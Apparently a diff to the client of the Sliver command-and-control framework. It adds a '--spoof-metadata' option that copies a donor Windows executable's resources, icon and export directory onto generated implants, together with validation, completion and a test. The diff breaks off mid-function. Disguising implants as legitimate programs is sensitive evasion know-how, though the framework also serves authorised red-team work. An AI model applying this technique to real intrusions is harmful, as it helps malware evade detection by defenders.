|
||||
trafficEncodersCmd.AddCommand(trafficEncodersAddCmd)
|
||||
|
||||
trafficEncodersRmCmd := &cobra.Command{
|
||||
@@ -115,6 +128,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.BindFlagCompletions(regenerateCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(regenerateCmd, "save")
|
||||
carapace.Gen(regenerateCmd).PositionalCompletion(ImplantBuildNameCompleter(con))
|
||||
|
||||
// [ Profiles ] --------------------------------------------------------------
|
||||
@@ -151,6 +165,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(profilesGenerateCmd, "save")
|
||||
carapace.Gen(profilesGenerateCmd).PositionalCompletion(ProfileNameCompleter(con))
|
||||
profilesCmd.AddCommand(profilesGenerateCmd)
|
||||
|
||||
@@ -182,6 +197,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.BoolP("prepend-size", "p", false, "Prepend stage size")
|
||||
f.StringP("compress", "c", "", "Compress stage (zlib, gzip, deflate9 or deflate)")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(profilesStageCmd, "save")
|
||||
|
||||
carapace.Gen(profilesStageCmd).PositionalCompletion(ProfileNameCompleter(con))
|
||||
profilesCmd.AddCommand(profilesStageCmd)
|
||||
@@ -342,6 +358,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
|
||||
f.StringP("limit-hostname", "z", "", "limit execution to specified hostname")
|
||||
f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem")
|
||||
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
|
||||
bindSpoofMetadataFlag(f)
|
||||
|
||||
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows, darwin/arm64, linux/amd64, linux/arm64)")
|
||||
|
||||
@@ -384,6 +401,32 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
|
||||
_ = f.MarkDeprecated("donut-oep", "use --shellcode-oep")
|
||||
_ = f.MarkHidden("donut-oep")
|
||||
})
|
||||
appendSpoofMetadataLongHelp(cmd)
|
||||
}
|
||||
|
||||
func bindSpoofMetadataFlag(f *pflag.FlagSet) {
|
||||
if f == nil {
|
||||
return
|
||||
}
|
||||
spoofMetadataFlag := f.VarPF(newSpoofMetadataFlagValue(), spoofMetadataFlagName, "", "spoof executable metadata (optional donor path)")
|
||||
if spoofMetadataFlag != nil {
|
||||
spoofMetadataFlag.NoOptDefVal = "true"
|
||||
}
|
||||
}
|
||||
|
||||
func appendSpoofMetadataLongHelp(cmd *cobra.Command) {
|
||||
if cmd == nil {
|
||||
return
|
||||
}
|
||||
if strings.Contains(cmd.Long, "--spoof-metadata") {
|
||||
return
|
||||
}
|
||||
trimmed := strings.TrimRight(cmd.Long, "\n")
|
||||
if trimmed == "" {
|
||||
cmd.Long = strings.TrimLeft(spoofMetadataLongHelp, "\n")
|
||||
return
|
||||
}
|
||||
cmd.Long = trimmed + spoofMetadataLongHelp
|
||||
}
|
||||
|
||||
// coreImplantFlagCompletions binds completions to flags registered in coreImplantFlags.
|
||||
@@ -394,11 +437,13 @@ func coreImplantFlagCompletions(cmd *cobra.Command, con *console.SliverClient) {
|
||||
(*comp)["arch"] = ArchCompleter(con)
|
||||
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
|
||||
(*comp)["format"] = FormatCompleter()
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||
(*comp)["save"] = completers.LocalFilePathCompleter().Tag("directory/file to save implant")
|
||||
(*comp)[spoofMetadataFlagName] = carapace.ActionFiles().Tag("optional donor metadata file")
|
||||
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
|
||||
(*comp)["traffic-encoders"] = TrafficEncodersCompleter(con).UniqueList(",")
|
||||
(*comp)["c2profile"] = HTTPC2Completer(con)
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletions(cmd, "save", "debug-file", spoofMetadataFlagName)
|
||||
registerImplantTargetFlagCompletions(cmd, con)
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,51 @@
|
||||
package generate
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func TestGenerateSaveFlagCompletionRegistered(t *testing.T) {
|
||||
cmds := Commands(&console.SliverClient{})
|
||||
|
||||
generateCmd := commandByUse(cmds, consts.GenerateStr)
|
||||
if generateCmd == nil {
|
||||
t.Fatalf("missing %q command", consts.GenerateStr)
|
||||
}
|
||||
assertFlagHasDefaultFileCompletion(t, generateCmd, "save")
|
||||
|
||||
beaconCmd := commandByUse(generateCmd.Commands(), consts.BeaconStr)
|
||||
if beaconCmd == nil {
|
||||
t.Fatalf("missing %q subcommand", consts.BeaconStr)
|
||||
}
|
||||
assertFlagHasDefaultFileCompletion(t, beaconCmd, "save")
|
||||
}
|
||||
|
||||
func assertFlagHasDefaultFileCompletion(t *testing.T, cmd *cobra.Command, flag string) {
|
||||
t.Helper()
|
||||
|
||||
completionFn, ok := cmd.GetFlagCompletionFunc(flag)
|
||||
if !ok {
|
||||
t.Fatalf("%q missing %q flag completion func", cmd.Use, flag)
|
||||
}
|
||||
|
||||
values, directive := completionFn(cmd, nil, "")
|
||||
if len(values) != 0 {
|
||||
t.Fatalf("%q %q completion should return no explicit values, got %d", cmd.Use, flag, len(values))
|
||||
}
|
||||
if directive != cobra.ShellCompDirectiveDefault {
|
||||
t.Fatalf("%q %q completion directive mismatch: got=%v want=%v", cmd.Use, flag, directive, cobra.ShellCompDirectiveDefault)
|
||||
}
|
||||
}
|
||||
|
||||
func commandByUse(cmds []*cobra.Command, use string) *cobra.Command {
|
||||
for _, cmd := range cmds {
|
||||
if cmd.Use == use {
|
||||
return cmd
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -41,8 +41,13 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []str
|
||||
if config == nil {
|
||||
return
|
||||
}
|
||||
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
config.IsBeacon = true
|
||||
err := parseBeaconFlags(cmd, config)
|
||||
err = parseBeaconFlags(cmd, config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -52,9 +57,9 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []str
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
|
||||
compile(name, config, save, con)
|
||||
compile(name, config, spoofMetadata, save, con)
|
||||
} else {
|
||||
externalBuild(name, config, save, con)
|
||||
externalBuild(name, config, spoofMetadata, save, con)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -19,7 +19,9 @@ package generate
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
@@ -33,6 +35,8 @@ import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/Binject/debug/pe"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
@@ -90,6 +94,11 @@ var (
|
||||
ErrNoSelection = errors.New("no selection")
|
||||
)
|
||||
|
||||
const (
|
||||
spoofMetadataFlagName = "spoof-metadata"
|
||||
imageFileDLLCharacteristic = 0x2000
|
||||
)
|
||||
|
||||
// GenerateCmd - The main command used to generate implant binaries
|
||||
func GenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if shouldRunGenerateForm(cmd, con, args) {
|
||||
@@ -112,14 +121,19 @@ func GenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if config == nil {
|
||||
return
|
||||
}
|
||||
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
save, _ := cmd.Flags().GetString("save")
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
|
||||
compile(name, config, save, con)
|
||||
compile(name, config, spoofMetadata, save, con)
|
||||
} else {
|
||||
_, err := externalBuild(name, config, save, con)
|
||||
_, err := externalBuild(name, config, spoofMetadata, save, con)
|
||||
if err != nil {
|
||||
switch err {
|
||||
case ErrNoExternalBuilder:
|
||||
@@ -518,6 +532,315 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
||||
return name, config
|
||||
}
|
||||
|
||||
func parseSpoofMetadataFlag(cmd *cobra.Command, config *clientpb.ImplantConfig) (*clientpb.SpoofMetadataConfig, error) {
|
||||
if cmd == nil {
|
||||
return nil, nil
|
||||
}
|
||||
spoofMetadataFlag := cmd.Flags().Lookup(spoofMetadataFlagName)
|
||||
if spoofMetadataFlag == nil || !spoofMetadataFlag.Changed {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
spoofMetadataValue := ""
|
||||
if spoofMetadataFlag.Value != nil {
|
||||
spoofMetadataValue = strings.TrimSpace(spoofMetadataFlag.Value.String())
|
||||
}
|
||||
|
||||
switch strings.ToLower(spoofMetadataValue) {
|
||||
case "false":
|
||||
if len(cmd.Flags().Args()) > 0 {
|
||||
return nil, fmt.Errorf("--%s=false does not accept a donor path argument", spoofMetadataFlagName)
|
||||
}
|
||||
return nil, nil
|
||||
case "", "true":
|
||||
pathArg, err := spoofMetadataPathArg(cmd)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if pathArg == "" {
|
||||
return parseSpoofMetadataFromConfigFile()
|
||||
}
|
||||
return parseSpoofMetadataFromPath(pathArg, config)
|
||||
default:
|
||||
if len(cmd.Flags().Args()) > 0 {
|
||||
return nil, fmt.Errorf("--%s accepts a donor path from either the flag value or positional argument, not both", spoofMetadataFlagName)
|
||||
}
|
||||
return parseSpoofMetadataFromPath(spoofMetadataValue, config)
|
||||
}
|
||||
}
|
||||
|
||||
func spoofMetadataPathArg(cmd *cobra.Command) (string, error) {
|
||||
if cmd == nil {
|
||||
return "", nil
|
||||
}
|
||||
switch args := cmd.Flags().Args(); len(args) {
|
||||
case 0:
|
||||
return "", nil
|
||||
case 1:
|
||||
return strings.TrimSpace(args[0]), nil
|
||||
default:
|
||||
return "", fmt.Errorf("--%s accepts at most one donor path argument", spoofMetadataFlagName)
|
||||
}
|
||||
}
|
||||
|
||||
func parseSpoofMetadataFromConfigFile() (*clientpb.SpoofMetadataConfig, error) {
|
||||
configPath := assets.SpoofMetadataConfigPath()
|
||||
config, err := assets.LoadSpoofMetadataConfig()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to load spoof metadata config %s: %w", configPath, err)
|
||||
}
|
||||
|
||||
spoofMetadata, err := spoofMetadataConfigToProtobuf(config)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("invalid spoof metadata config %s: %w", configPath, err)
|
||||
}
|
||||
return spoofMetadata, nil
|
||||
}
|
||||
|
||||
func parseSpoofMetadataFromPath(pathValue string, config *clientpb.ImplantConfig) (*clientpb.SpoofMetadataConfig, error) {
|
||||
if config == nil {
|
||||
return nil, errors.New("missing implant configuration for spoof metadata validation")
|
||||
}
|
||||
pathValue = expandPath(pathValue)
|
||||
sourceData, err := os.ReadFile(pathValue)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to read spoof metadata source path %s: %w", pathValue, err)
|
||||
}
|
||||
if err := validateSpoofMetadataSourceForTarget(config, pathValue, sourceData); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &clientpb.SpoofMetadataConfig{
|
||||
PE: &clientpb.PESpoofMetadataConfig{
|
||||
Source: &clientpb.SpoofMetadataFile{
|
||||
Name: filepath.Base(pathValue),
|
||||
Data: sourceData,
|
||||
},
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
func validateSpoofMetadataSourceForTarget(config *clientpb.ImplantConfig, sourcePath string, sourceData []byte) error {
|
||||
if config == nil {
|
||||
return errors.New("missing implant configuration for spoof metadata validation")
|
||||
}
|
||||
if strings.ToLower(config.GetGOOS()) != "windows" {
|
||||
return fmt.Errorf("--%s path source currently supports only windows PE targets (got %s/%s)", spoofMetadataFlagName, config.GetGOOS(), config.GetGOARCH())
|
||||
}
|
||||
switch config.GetFormat() {
|
||||
case clientpb.OutputFormat_EXECUTABLE, clientpb.OutputFormat_SERVICE, clientpb.OutputFormat_SHARED_LIB:
|
||||
default:
|
||||
return fmt.Errorf("--%s path source requires an executable/service/shared target format (got %s)", spoofMetadataFlagName, nameOfOutputFormat(config.GetFormat()))
|
||||
}
|
||||
|
||||
peFile, err := pe.NewFile(bytes.NewReader(sourceData))
|
||||
if err != nil {
|
||||
return fmt.Errorf("spoof metadata source %s is not a valid PE: %w", sourcePath, err)
|
||||
}
|
||||
defer peFile.Close()
|
||||
|
||||
expectedMachine, err := expectedPEMachineForGoArch(config.GetGOARCH())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if peFile.FileHeader.Machine != expectedMachine {
|
||||
return fmt.Errorf(
|
||||
"spoof metadata source %s has machine %s, expected %s for target arch %s",
|
||||
sourcePath,
|
||||
peMachineName(peFile.FileHeader.Machine),
|
||||
peMachineName(expectedMachine),
|
||||
config.GetGOARCH(),
|
||||
)
|
||||
}
|
||||
|
||||
isDLL := peFile.FileHeader.Characteristics&imageFileDLLCharacteristic != 0
|
||||
if config.GetFormat() == clientpb.OutputFormat_SHARED_LIB && !isDLL {
|
||||
return fmt.Errorf("spoof metadata source %s must be a DLL for shared target format", sourcePath)
|
||||
}
|
||||
if (config.GetFormat() == clientpb.OutputFormat_EXECUTABLE || config.GetFormat() == clientpb.OutputFormat_SERVICE) && isDLL {
|
||||
return fmt.Errorf("spoof metadata source %s appears to be a DLL but target format is %s", sourcePath, nameOfOutputFormat(config.GetFormat()))
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func expectedPEMachineForGoArch(goarch string) (uint16, error) {
|
||||
switch strings.ToLower(strings.TrimSpace(goarch)) {
|
||||
case "amd64", "x64":
|
||||
return pe.IMAGE_FILE_MACHINE_AMD64, nil
|
||||
case "386", "x86", "i386":
|
||||
return pe.IMAGE_FILE_MACHINE_I386, nil
|
||||
case "arm64", "aarch64":
|
||||
return pe.IMAGE_FILE_MACHINE_ARM64, nil
|
||||
default:
|
||||
return 0, fmt.Errorf("unsupported windows architecture for spoof metadata source validation: %s", goarch)
|
||||
}
|
||||
}
|
||||
|
||||
func peMachineName(machine uint16) string {
|
||||
switch machine {
|
||||
case pe.IMAGE_FILE_MACHINE_AMD64:
|
||||
return "amd64"
|
||||
case pe.IMAGE_FILE_MACHINE_I386:
|
||||
return "386"
|
||||
case pe.IMAGE_FILE_MACHINE_ARM64:
|
||||
return "arm64"
|
||||
default:
|
||||
return fmt.Sprintf("0x%x", machine)
|
||||
}
|
||||
}
|
||||
|
||||
func spoofMetadataConfigToProtobuf(config *assets.SpoofMetadataConfig) (*clientpb.SpoofMetadataConfig, error) {
|
||||
if config == nil {
|
||||
return nil, errors.New("missing spoof metadata configuration")
|
||||
}
|
||||
|
||||
spoofMetadata := &clientpb.SpoofMetadataConfig{}
|
||||
if config.PE != nil {
|
||||
source, err := resolveSpoofMetadataDataSource("pe.source", config.PE.Source)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
icon, err := resolveSpoofMetadataDataSource("pe.icon", config.PE.Icon)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
spoofMetadata.PE = &clientpb.PESpoofMetadataConfig{
|
||||
Source: source,
|
||||
Icon: icon,
|
||||
ResourceDirectory: imageResourceDirectoryToProtobuf(config.PE.ResourceDirectory),
|
||||
ResourceDirectoryEntries: imageResourceDirectoryEntriesToProtobuf(config.PE.ResourceDirectoryEntries),
|
||||
ResourceDataEntries: imageResourceDataEntriesToProtobuf(config.PE.ResourceDataEntries),
|
||||
ExportDirectory: imageExportDirectoryToProtobuf(config.PE.ExportDirectory),
|
||||
}
|
||||
}
|
||||
|
||||
if spoofMetadata.GetPE() == nil {
|
||||
return nil, errors.New("no supported executable metadata configuration found")
|
||||
}
|
||||
if spoofMetadata.GetPE().GetSource() == nil || len(spoofMetadata.GetPE().GetSource().GetData()) == 0 {
|
||||
return nil, errors.New("pe.source requires either path or base64 content")
|
||||
}
|
||||
|
||||
return spoofMetadata, nil
|
||||
}
|
||||
|
||||
func resolveSpoofMetadataDataSource(name string, source *assets.SpoofMetadataDataSource) (*clientpb.SpoofMetadataFile, error) {
|
||||
if source == nil {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
pathValue := strings.TrimSpace(source.Path)
|
||||
base64Value := strings.TrimSpace(source.Base64)
|
||||
|
||||
if pathValue != "" && base64Value != "" {
|
||||
return nil, fmt.Errorf("%s cannot set both path and base64", name)
|
||||
}
|
||||
if pathValue == "" && base64Value == "" {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
var (
|
||||
data []byte
|
||||
err error
|
||||
)
|
||||
fileName := strings.TrimSpace(source.Name)
|
||||
if pathValue != "" {
|
||||
pathValue = expandPath(pathValue)
|
||||
data, err = os.ReadFile(pathValue)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("%s failed to read path %s: %w", name, pathValue, err)
|
||||
}
|
||||
if fileName == "" {
|
||||
fileName = filepath.Base(pathValue)
|
||||
}
|
||||
} else {
|
||||
data, err = base64.StdEncoding.DecodeString(base64Value)
|
||||
if err != nil {
|
||||
data, err = base64.RawStdEncoding.DecodeString(base64Value)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("%s has invalid base64 data: %w", name, err)
|
||||
}
|
||||
}
|
||||
if fileName == "" {
|
||||
fileName = "inline-data"
|
||||
}
|
||||
}
|
||||
|
||||
return &clientpb.SpoofMetadataFile{
|
||||
Name: fileName,
|
||||
Data: data,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func imageResourceDirectoryToProtobuf(src *assets.ImageResourceDirectory) *clientpb.IMAGE_RESOURCE_DIRECTORY {
|
||||
if src == nil {
|
||||
return nil
|
||||
}
|
||||
return &clientpb.IMAGE_RESOURCE_DIRECTORY{
|
||||
Characteristics: src.Characteristics,
|
||||
TimeDateStamp: src.TimeDateStamp,
|
||||
MajorVersion: src.MajorVersion,
|
||||
MinorVersion: src.MinorVersion,
|
||||
NumberOfNamedEntries: src.NumberOfNamedEntries,
|
||||
NumberOfIdEntries: src.NumberOfIDEntries,
|
||||
}
|
||||
}
|
||||
|
||||
func imageResourceDirectoryEntriesToProtobuf(src []*assets.ImageResourceDirectoryEntry) []*clientpb.IMAGE_RESOURCE_DIRECTORY_ENTRY {
|
||||
if len(src) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make([]*clientpb.IMAGE_RESOURCE_DIRECTORY_ENTRY, 0, len(src))
|
||||
for _, entry := range src {
|
||||
if entry == nil {
|
||||
continue
|
||||
}
|
||||
out = append(out, &clientpb.IMAGE_RESOURCE_DIRECTORY_ENTRY{
|
||||
Name: entry.Name,
|
||||
OffsetToData: entry.OffsetToData,
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func imageResourceDataEntriesToProtobuf(src []*assets.ImageResourceDataEntry) []*clientpb.IMAGE_RESOURCE_DATA_ENTRY {
|
||||
if len(src) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make([]*clientpb.IMAGE_RESOURCE_DATA_ENTRY, 0, len(src))
|
||||
for _, entry := range src {
|
||||
if entry == nil {
|
||||
continue
|
||||
}
|
||||
out = append(out, &clientpb.IMAGE_RESOURCE_DATA_ENTRY{
|
||||
OffsetToData: entry.OffsetToData,
|
||||
Size: entry.Size,
|
||||
CodePage: entry.CodePage,
|
||||
Reserved: entry.Reserved,
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func imageExportDirectoryToProtobuf(src *assets.ImageExportDirectory) *clientpb.IMAGE_EXPORT_DIRECTORY {
|
||||
if src == nil {
|
||||
return nil
|
||||
}
|
||||
return &clientpb.IMAGE_EXPORT_DIRECTORY{
|
||||
Characteristics: src.Characteristics,
|
||||
TimeDateStamp: src.TimeDateStamp,
|
||||
MajorVersion: src.MajorVersion,
|
||||
MinorVersion: src.MinorVersion,
|
||||
Name: src.Name,
|
||||
Base: src.Base,
|
||||
NumberOfFunctions: src.NumberOfFunctions,
|
||||
NumberOfNames: src.NumberOfNames,
|
||||
AddressOfFunctions: src.AddressOfFunctions,
|
||||
AddressOfNames: src.AddressOfNames,
|
||||
AddressOfNameOrdinals: src.AddressOfNameOrdinals,
|
||||
}
|
||||
}
|
||||
|
||||
func parseShellcodeFlags(cmd *cobra.Command, targetOS string, configFormat clientpb.OutputFormat, con *console.SliverClient) (*clientpb.ShellcodeConfig, error) {
|
||||
// Prefer the new `--shellcode-*` flags. Fall back to hidden deprecated `--donut-*` flags for compatibility.
|
||||
shellcodeEntropy, _ := cmd.Flags().GetUint32("shellcode-entropy")
|
||||
@@ -1146,7 +1469,150 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return c2s, nil
|
||||
}
|
||||
|
||||
func externalBuild(name string, config *clientpb.ImplantConfig, save string, con *console.SliverClient) (*commonpb.File, error) {
|
||||
func applySpoofMetadataToBuild(implantBuildID string, implantName string, spoofMetadata *clientpb.SpoofMetadataConfig, con *console.SliverClient) error {
|
||||
if spoofMetadata == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
req := &clientpb.GenerateSpoofMetadataReq{
|
||||
SpoofMetadata: spoofMetadata,
|
||||
}
|
||||
if buildID := strings.TrimSpace(implantBuildID); buildID != "" {
|
||||
req.ImplantBuildID = buildID
|
||||
} else if buildName := strings.TrimSpace(implantName); buildName != "" {
|
||||
req.ImplantName = buildName
|
||||
}
|
||||
|
||||
if req.GetImplantBuildID() == "" && req.GetImplantName() == "" {
|
||||
return errors.New("unable to determine build selector for spoof metadata")
|
||||
}
|
||||
|
||||
printSpoofMetadataSummary(spoofMetadata, con)
|
||||
con.PrintInfof("Applying spoof metadata to %s ... ", spoofMetadataBuildSelectorDescription(req))
|
||||
_, err := con.Rpc.GenerateSpoofMetadata(context.Background(), req)
|
||||
if err != nil {
|
||||
con.Printf("failed\n")
|
||||
return err
|
||||
}
|
||||
con.Printf("done\n")
|
||||
return nil
|
||||
}
|
||||
|
||||
func printSpoofMetadataSummary(spoofMetadata *clientpb.SpoofMetadataConfig, con *console.SliverClient) {
|
||||
if spoofMetadata == nil || con == nil {
|
||||
return
|
||||
}
|
||||
peMetadata := spoofMetadata.GetPE()
|
||||
if peMetadata == nil {
|
||||
return
|
||||
}
|
||||
|
||||
sourceName := "<unset>"
|
||||
sourceSize := 0
|
||||
if source := peMetadata.GetSource(); source != nil {
|
||||
sourceName = strings.TrimSpace(source.GetName())
|
||||
if sourceName == "" {
|
||||
sourceName = "inline-data"
|
||||
}
|
||||
sourceSize = len(source.GetData())
|
||||
}
|
||||
|
||||
iconSummary := "none"
|
||||
if icon := peMetadata.GetIcon(); icon != nil && len(icon.GetData()) > 0 {
|
||||
iconName := strings.TrimSpace(icon.GetName())
|
||||
if iconName == "" {
|
||||
iconName = "inline-data"
|
||||
}
|
||||
iconSummary = fmt.Sprintf("%s (%d bytes)", iconName, len(icon.GetData()))
|
||||
}
|
||||
|
||||
overrideLabels := []string{}
|
||||
if peMetadata.GetResourceDirectory() != nil {
|
||||
overrideLabels = append(overrideLabels, "resource-directory")
|
||||
}
|
||||
if len(peMetadata.GetResourceDirectoryEntries()) > 0 {
|
||||
overrideLabels = append(overrideLabels, fmt.Sprintf("resource-entries(%d)", len(peMetadata.GetResourceDirectoryEntries())))
|
||||
}
|
||||
if len(peMetadata.GetResourceDataEntries()) > 0 {
|
||||
overrideLabels = append(overrideLabels, fmt.Sprintf("resource-data-entries(%d)", len(peMetadata.GetResourceDataEntries())))
|
||||
}
|
||||
if peMetadata.GetExportDirectory() != nil {
|
||||
overrideLabels = append(overrideLabels, "export-directory")
|
||||
}
|
||||
overridesSummary := "none"
|
||||
if len(overrideLabels) > 0 {
|
||||
overridesSummary = strings.Join(overrideLabels, ", ")
|
||||
}
|
||||
|
||||
con.PrintInfof("%s\n", console.StyleBold.Render("Spoof Metadata Details:"))
|
||||
con.PrintInfof(" Source: %s (%d bytes)\n", sourceName, sourceSize)
|
||||
con.PrintInfof(" Icon: %s\n", iconSummary)
|
||||
con.PrintInfof(" Overrides: %s\n", overridesSummary)
|
||||
}
|
||||
|
||||
func spoofMetadataBuildSelectorDescription(req *clientpb.GenerateSpoofMetadataReq) string {
|
||||
if req == nil {
|
||||
return "build"
|
||||
}
|
||||
if buildID := strings.TrimSpace(req.GetImplantBuildID()); buildID != "" {
|
||||
return fmt.Sprintf("build id %s", buildID)
|
||||
}
|
||||
if buildName := strings.TrimSpace(req.GetImplantName()); buildName != "" {
|
||||
return fmt.Sprintf("build name %s", buildName)
|
||||
}
|
||||
return "build"
|
||||
}
|
||||
|
||||
func requiresWindowsExecutableSuffix(config *clientpb.ImplantConfig) bool {
|
||||
if config == nil || !strings.EqualFold(config.GetGOOS(), "windows") {
|
||||
return false
|
||||
}
|
||||
switch config.GetFormat() {
|
||||
case clientpb.OutputFormat_EXECUTABLE, clientpb.OutputFormat_SERVICE:
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func ensureOutputPathSuffix(pathValue string, config *clientpb.ImplantConfig) string {
|
||||
if pathValue == "" || !requiresWindowsExecutableSuffix(config) {
|
||||
return pathValue
|
||||
}
|
||||
if strings.HasSuffix(strings.ToLower(pathValue), ".exe") {
|
||||
return pathValue
|
||||
}
|
||||
return pathValue + ".exe"
|
||||
}
|
||||
|
||||
func outputSavePath(save string, defaultName string, config *clientpb.ImplantConfig, con *console.SliverClient) (string, error) {
|
||||
defaultName = ensureOutputPathSuffix(defaultName, config)
|
||||
saveTo, err := saveLocation(save, defaultName, con)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
adjustedPath := ensureOutputPathSuffix(saveTo, config)
|
||||
if adjustedPath == saveTo {
|
||||
return saveTo, nil
|
||||
}
|
||||
|
||||
if info, err := os.Stat(adjustedPath); err == nil && !info.IsDir() {
|
||||
var confirm bool
|
||||
_ = forms.Confirm("Overwrite existing file?", &confirm)
|
||||
if !confirm {
|
||||
return "", errors.New("file already exists")
|
||||
}
|
||||
} else if err != nil && !os.IsNotExist(err) {
|
||||
return "", err
|
||||
}
|
||||
|
||||
if con != nil {
|
||||
con.PrintInfof("Adjusted output filename to %s for Windows executable format\n", adjustedPath)
|
||||
}
|
||||
return adjustedPath, nil
|
||||
}
|
||||
|
||||
func externalBuild(name string, config *clientpb.ImplantConfig, spoofMetadata *clientpb.SpoofMetadataConfig, save string, con *console.SliverClient) (*commonpb.File, error) {
|
||||
potentialBuilders, err := findExternalBuilders(config, con)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -1246,6 +1712,12 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
|
||||
elapsed := time.Since(start)
|
||||
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
|
||||
|
||||
if spoofMetadata != nil {
|
||||
if err := applySpoofMetadataToBuild("", name, spoofMetadata, con); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
generated, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
|
||||
ImplantName: name,
|
||||
})
|
||||
@@ -1300,7 +1772,7 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
|
||||
}
|
||||
}
|
||||
|
||||
saveTo, err := saveLocation(save, filepath.Base(generated.File.Name), con)
|
||||
saveTo, err := outputSavePath(save, filepath.Base(generated.File.Name), config, con)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -1315,7 +1787,7 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func compile(name string, config *clientpb.ImplantConfig, save string, con *console.SliverClient) (*commonpb.File, error) {
|
||||
func compile(name string, config *clientpb.ImplantConfig, spoofMetadata *clientpb.SpoofMetadataConfig, save string, con *console.SliverClient) (*commonpb.File, error) {
|
||||
if config.IsBeacon {
|
||||
interval := time.Duration(config.BeaconInterval)
|
||||
con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
|
||||
@@ -1343,6 +1815,25 @@ func compile(name string, config *clientpb.ImplantConfig, save string, con *cons
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if spoofMetadata != nil {
|
||||
